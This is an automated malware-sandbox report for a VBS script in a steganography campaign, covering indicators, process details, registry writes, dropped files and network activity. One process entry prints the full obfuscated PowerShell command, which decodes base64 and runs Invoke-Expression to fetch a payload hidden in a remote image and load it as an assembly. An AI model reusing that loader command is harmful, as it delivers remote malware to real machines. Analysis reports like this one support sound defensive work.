File name:

196b3a5cb409ba285267fba44efa46d8557f36cc33efd6a206eca5683417f5fa.vbs

Full analysis: https://app.any.run/tasks/dd595d34-e971-4717-80c3-38d2bedd5e21
Verdict: Malicious activity
Analysis date: March 25, 2025, 05:49:12
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
stegocampaign
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with very long lines (23623), with CRLF line terminators
MD5:

5F0D46D3DCDE936579DCC8BB44F18A04

SHA1:

4AD9F47178599723C7FC0A7A3E9D6D586B246C77

SHA256:

196B3A5CB409BA285267FBA44EFA46D8557F36CC33EFD6A206ECA5683417F5FA

SSDEEP:

1536:tU79PRpyDEKBfElMwPRj05i9bBTLmrNFlCy:KBwEKqJx05i9bBTLmrNFlCy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • STEGOCAMPAIGN has been detected

      • powershell.exe (PID: 7192)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 7192)

  • SUSPICIOUS

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 6372)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6372)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 6372)

    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 6372)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 6372)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7192)

  • INFO

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 7192)

    • Disables trace logs

      • powershell.exe (PID: 7192)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 7192)

    • Checks proxy server information

      • powershell.exe (PID: 7192)
      • BackgroundTransferHost.exe (PID: 6184)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7192)

    • Failed to connect to remote server (POWERSHELL)

      • powershell.exe (PID: 7192)

    • Reads security settings of Internet Explorer

      • BackgroundTransferHost.exe (PID: 780)
      • BackgroundTransferHost.exe (PID: 6184)
      • BackgroundTransferHost.exe (PID: 744)
      • BackgroundTransferHost.exe (PID: 7976)
      • BackgroundTransferHost.exe (PID: 7280)

    • Reads the software policy settings

      • BackgroundTransferHost.exe (PID: 6184)
      • slui.exe (PID: 7436)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7192)

    • Creates files or folders in the user directory

      • BackgroundTransferHost.exe (PID: 6184)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
145
Monitored processes
11
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #STEGOCAMPAIGN powershell.exe conhost.exe no specs sppextcomobj.exe no specs slui.exe backgroundtransferhost.exe no specs backgroundtransferhost.exe backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
744"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
780"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
5892C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6184"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
6372"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\196b3a5cb409ba285267fba44efa46d8557f36cc33efd6a206eca5683417f5fa.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7192"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bm#Gw#YQB0#Gw#YQBu#GQ#I##9#C##JwB0#Hg#d##u#GQ#bwBv#Gc#cwBl#GM#YQBs#H##cgBl#HQ#d#Bl#GI#bgBl#HY#aQBn#HM#ZwBu#Gk#a#B0#HQ#cwBl#GI#ZQBk#GE#bQ#v#D##MQ#5#C8#Mg#z#C4#Nw#u#Dg#Ng#x#C4#N##w#DE#Lw#v#Do#c#B0#HQ#a##n#Ds#J#Bh#GQ#ZQBu#G8#cwB5#Gw#I##9#C##J#Bm#Gw#YQB0#Gw#YQBu#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#dQBp#GM#aQBk#Gk#cwBt#C##PQ#g#Cc#a#B0#HQ#c##6#C8#Lw#x#DQ#N##u#Dk#MQ#u#DE#Mg#3#C4#NQ#v#Hg#YQBt#H##c##v#G4#Yw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Jw#7#CQ#YwBp#HI#YwB1#G0#dgBv#Gw#dgBl#G4#YwBl#C##PQ#g#E4#ZQB3#C0#TwBi#Go#ZQBj#HQ#I#BT#Hk#cwB0#GU#bQ#u#E4#ZQB0#C4#VwBl#GI#QwBs#Gk#ZQBu#HQ#Ow#k#FQ#aQBy#GE#bg#g#D0#I##k#GM#aQBy#GM#dQBt#HY#bwBs#HY#ZQBu#GM#ZQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#HU#aQBj#Gk#Z#Bp#HM#bQ#p#Ds#J#Bp#G4#ZQB4#HQ#ZQBu#HM#aQBv#G4#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#BU#Gk#cgBh#G4#KQ#7#CQ#Z#Bl#GM#dQBy#HQ#YQB0#GU#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#k#FMBZ#Bl#G0#YQB0#G8#dQBz#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#k#GY#bwB1#G4#Z#Bh#HQ#aQBv#G4#I##9#C##J#Bp#G4#ZQB4#HQ#ZQBu#HM#aQBv#G4#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bk#GU#YwB1#HI#d#Bh#HQ#ZQ#p#Ds#J#Bj#G8#b#Bs#GU#ZwBp#GE#b#Bs#Hk#I##9#C##J#Bp#G4#ZQB4#HQ#ZQBu#HM#aQBv#G4#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#BT#WQ#ZQBt#GE#d#Bv#HU#cw#p#Ds#J#Bm#G8#dQBu#GQ#YQB0#Gk#bwBu#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#YwBv#Gw#b#Bl#Gc#aQBh#Gw#b#B5#C##LQBn#HQ#I##k#GY#bwB1#G4#Z#Bh#HQ#aQBv#G4#Ow#k#GY#bwB1#G4#Z#Bh#HQ#aQBv#G4#I##r#D0#I##k#GQ#ZQBj#HU#cgB0#GE#d#Bl#C4#T#Bl#G4#ZwB0#Gg#Ow#k#GI#YQBj#GI#YQBr#Gk#cgBp#C##PQ#g#CQ#YwBv#Gw#b#Bl#Gc#aQBh#Gw#b#B5#C##LQ#g#CQ#ZgBv#HU#bgBk#GE#d#Bp#G8#bg#7#CQ#bgBh#HQ#d#Bp#G4#Zw#g#D0#I##k#Gk#bgBl#Hg#d#Bl#G4#cwBp#G8#bg#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bm#G8#dQBu#GQ#YQB0#Gk#bwBu#Cw#I##k#GI#YQBj#GI#YQBr#Gk#cgBp#Ck#Ow#k#GQ#aQBw#HM#YQBk#Gk#bgBl#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#G4#YQB0#HQ#aQBu#Gc#KQ#7#CQ#YQBu#GE#b#B5#Ho#aQBu#Gc#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#Z#Bp#H##cwBh#GQ#aQBu#GU#KQ#7#CQ#bQBp#Gc#cgBh#Gk#bgBl#C##PQ#g#Fs#Z#Bu#Gw#aQBi#C4#SQBP#C4#S#Bv#G0#ZQBd#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#FY#QQBJ#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##Q##o#CQ#YQBk#GU#bgBv#HM#eQBs#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#JwBD#GE#cwBQ#G8#b##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#y#Cc#KQ#p##=='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); Invoke-Expression $OWjuxd"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7200\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7280"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
7400C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7436"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
7 193
Read events
7 178
Write events
15
Delete events
0

Modification events

(PID) Process:(6184) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6184) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6184) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(780) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(780) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(780) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(744) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(744) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(744) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(7280) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
0
Suspicious files
6
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
6184BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\f47e79be-dbab-495b-b7cd-71a63144c889.down_data —
MD5:—
SHA256:—
7192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_y5nllqkh.4zb.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kpxmi3h1.l0v.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6184BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10Dbinary
MD5:4872BABAF39AA62B8D32695EBB7E9173
SHA256:2EE85DF86EE29BBEB3DCA81AA29B6DE204F605A2769B84C728A329178A2D0999
6184BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\e503ccfd-293b-4677-8601-f445386ee934.up_meta_securebinary
MD5:AADE4A79BFE5F451AB803DE3EC5AB590
SHA256:0451CA8804CA35729FAEEC083C1D17402C67AD5B85CF2AE5FFA4A3F576BE703C
6184BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\f47e79be-dbab-495b-b7cd-71a63144c889.86f8b1cb-51ef-419c-94a9-319fde9a39a3.down_metabinary
MD5:A914C43FA99F0F5CF13D2325029C9E9C
SHA256:AC036280AB746982389DCF2DB684FD939156CB371D9695F382EA11EDEEF47C08
6184BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10Dbinary
MD5:1E58E2A7AB99B60540A1AD25C9912AB5
SHA256:C772FABC177F7C2B61A4EE44F6C5E1A7F8F8CE3C5D88F4004E9B576078901803
7192powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:7EC7E8BB80E25A7D1DAB1E7D72B96166
SHA256:922CBB4A8B7401D1846AAAD63E3FD846FF7878916AD62CC56BDB3B4BD96D3674
6184BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\e503ccfd-293b-4677-8601-f445386ee934.86f8b1cb-51ef-419c-94a9-319fde9a39a3.down_metabinary
MD5:A914C43FA99F0F5CF13D2325029C9E9C
SHA256:AC036280AB746982389DCF2DB684FD939156CB371D9695F382EA11EDEEF47C08
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
28
DNS requests
18
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7340
backgroundTaskHost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
—
—
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6184
BackgroundTransferHost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
7732
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7732
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3216
svchost.exe
40.113.110.67:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
40.126.31.1:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
7192
powershell.exe
144.91.127.5:80
—
Contabo GmbH
DE
unknown
5496
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
7340
backgroundTaskHost.exe
20.223.35.26:443
arc.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.72
whitelisted
google.com
  • 142.250.186.110
whitelisted
client.wns.windows.com
  • 40.113.110.67
whitelisted
login.live.com
  • 40.126.31.1
  • 20.190.159.130
  • 20.190.159.4
  • 20.190.159.0
  • 20.190.159.131
  • 20.190.159.68
  • 40.126.31.3
  • 20.190.159.129
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
arc.msn.com
  • 20.223.35.26
whitelisted
www.bing.com
  • 104.126.37.145
  • 104.126.37.176
  • 104.126.37.171
  • 104.126.37.130
  • 104.126.37.144
  • 104.126.37.131
  • 104.126.37.178
  • 104.126.37.163
  • 104.126.37.139
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
196b3a5cb409ba285267fba44efa46d8557f36cc33efd6a206eca5683417f5fa.vbs